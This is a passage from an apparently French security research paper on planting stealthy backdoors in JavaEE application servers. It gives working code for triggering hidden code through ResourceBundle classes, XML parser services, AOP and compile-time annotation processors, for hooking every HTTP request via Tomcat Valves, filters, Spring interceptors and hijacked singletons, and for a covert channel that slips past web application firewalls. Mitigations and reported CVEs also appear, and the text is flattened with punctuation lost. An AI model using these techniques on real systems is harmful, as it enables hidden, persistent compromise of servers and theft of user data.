permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch
q=META-INF+providers
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
